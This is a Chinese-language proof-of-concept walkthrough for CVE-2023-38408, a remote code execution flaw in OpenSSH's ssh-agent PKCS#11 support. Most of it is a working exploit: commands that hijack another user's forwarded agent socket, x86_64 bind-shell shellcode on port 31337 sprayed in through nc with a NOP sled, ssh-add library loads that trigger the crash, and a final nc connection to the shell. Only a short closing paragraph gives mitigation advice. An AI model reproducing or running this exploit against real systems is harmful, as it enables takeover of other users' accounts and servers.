在 OpenSSH(9.3p2 之前的版本)中发现了一个漏洞。OpenSSH 的 ssh-agent 中的 PKCS#11 功能具有一个不够可信的搜索路径,如果代理被转发到攻击者控制的系统(/usr/lib 中的代码加载到 ssh-agent 中不一定安全),则会导致远程代码执行。该缺陷允许攻击者控制服务器上转发的代理套接字,并能够写入客户端主机的文件系统,从而以运行 ssh-agent 的用户权限执行任意代码。
在下面的示例中,我们可以简要地观察从探测到攻陷 alice 用户的步骤。
如前所述,在此 POC 中,我们将使用 2 个通过 SSH 连接到服务器的用户。要执行以下步骤,我们假设这 2 个用户已经拥有对服务器(SSH)的访问权限。
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
最后,一旦 shellcode 成功放置在代理的内存中,按 Ctrl-C 停止 netcat 传输。
[!NOTE] 触发 SIGSEGV 💬
SIGSEGV 是计算机进程已知的一种信号,在发生无效内存引用(段错误)时发出。收到 SIGSEGV 信号后,内核会识别出发生了无效内存访问,并调用自定义信号处理程序,而不是突然终止程序。通过这种方式,攻击者抓住机会操纵程序的执行,将其引向注入到 NOP sled 中的恶意代码。
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]
nc localhost 31337
该漏洞主要影响使用 OpenSSH 的 SSH-agent 且启用了代理转发功能的系统。依赖 OpenSSH 的组织和个人应立即评估其配置,以确定潜在风险。如果您的系统满足上述条件,则必须立即采取行动,以缓解与 CVE-2023-38408 相关的风险。